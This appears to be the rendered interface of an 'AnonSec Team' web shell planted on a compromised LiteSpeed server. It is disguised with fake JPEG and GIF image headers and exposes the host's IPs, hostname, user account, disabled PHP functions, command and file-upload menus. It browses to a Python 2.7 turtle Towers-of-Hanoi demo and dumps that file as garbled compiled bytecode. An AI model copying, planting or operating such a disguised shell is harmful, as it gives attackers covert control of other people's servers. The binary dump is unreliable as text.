����JFIF��x�x������Exif��MM�*���� ����E���J����������������(������������������ Xzourt Bypazz

Upload your file


�����x������x������C�     ���C   ����<�d"�������������� �������}�!1AQa"q2���#B��R��$3br� %&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz�������������������������������������������������������������������������������� ������w�!1AQaq"2�B���� #3R�br� $4�%�&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz������������������������������������������������������������������������ ��?��S��(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(���(��ÿØÿà JFIF ÿþ;GIF89;aGIF89;aGIF89;a AnonSec Team
AnonSec Team
Server IP : 103.191.208.227  /  Your IP : 18.191.234.202
Web Server : LiteSpeed
System : Linux emphasis.herosite.pro 4.18.0-553.8.1.lve.el8.x86_64 #1 SMP Thu Jul 4 16:24:39 UTC 2024 x86_64
User : mhmsfzcs ( 1485)
PHP Version : 8.1.31
Disable Function : show_source, system, shell_exec, passthru, exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /lib64/udisks2/../python2.7/Demo/turtle/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : //lib64/udisks2/../python2.7/Demo/turtle/tdemo_minimal_hanoi.pyc
�
Afc@sdZddlTdefd��YZdefd��YZd�Zd�Zd	�Ze	d
kr{e�Z
e
GHe�ndS(s�       turtle-example-suite:

         tdemo_minimal_hanoi.py

A minimal 'Towers of Hanoi' animation:
A tower of 6 discs is transferred from the
left to the right peg.

An imho quite elegant and concise
implementation using a tower class, which
is derived from the built-in type list.

Discs are turtles with shape "square", but
stretched to rectangles by shapesize()
 ---------------------------------------
       To exit press STOP button
 ---------------------------------------
i����(t*tDisccBseZd�ZRS(cCsgtj|dddt�|j�|jd|dd�|j|ddd|d�|j�dS(	Ntshapetsquaretvisibleg�?ig@ii(tTurtlet__init__tFalsetput	shapesizet	fillcolortst(tselftn((s7/usr/lib64/python2.7/Demo/turtle/tdemo_minimal_hanoi.pyRs

(t__name__t
__module__R(((s7/usr/lib64/python2.7/Demo/turtle/tdemo_minimal_hanoi.pyRstTowercBs)eZdZd�Zd�Zd�ZRS(s-Hanoi tower, a subclass of built-in type listcCs
||_dS(s-create an empty tower. x is x-position of pegN(tx(RR((s7/usr/lib64/python2.7/Demo/turtle/tdemo_minimal_hanoi.pyR scCs<|j|j�|jddt|��|j|�dS(Nij���i"(tsetxRtsetytlentappend(Rtd((s7/usr/lib64/python2.7/Demo/turtle/tdemo_minimal_hanoi.pytpush#scCs tj|�}|jd�|S(Ni�(tlisttpopR(RR((s7/usr/lib64/python2.7/Demo/turtle/tdemo_minimal_hanoi.pyR's
(RRt__doc__RRR(((s7/usr/lib64/python2.7/Demo/turtle/tdemo_minimal_hanoi.pyRs		cCsT|dkrPt|d|||�|j|j��t|d|||�ndS(Nii(thanoiRR(R
tfrom_twith_tto_((s7/usr/lib64/python2.7/Demo/turtle/tdemo_minimal_hanoi.pyR,scCsYtdd�t�y-tdttt�tddddd
�Wntk
rTnXdS(Ntspaceispress STOP button to exittaligntcentertfonttCourieritbold(R#iR$(	tonkeytNonetclearRtt1tt2tt3twritet
Terminator(((s7/usr/lib64/python2.7/Demo/turtle/tdemo_minimal_hanoi.pytplay2s
	
cCs�t�t�tdd�td�atd�atd�ax-tddd�D]}tjt	|��qRWt
ddd	d
d�ttd�t
�dS(Nii���i���i�ii����spress spacebar to start gameR R!R"R#iR$Rt	EVENTLOOP(R#iR$(thttpenuptgotoRR(R)R*trangeRRR+R%R-tlisten(ti((s7/usr/lib64/python2.7/Demo/turtle/tdemo_minimal_hanoi.pytmain<s
	

t__main__N(RtturtleRRRRRR-R5Rtmsgtmainloop(((s7/usr/lib64/python2.7/Demo/turtle/tdemo_minimal_hanoi.pyt<module>s
		
		

AnonSec - 2021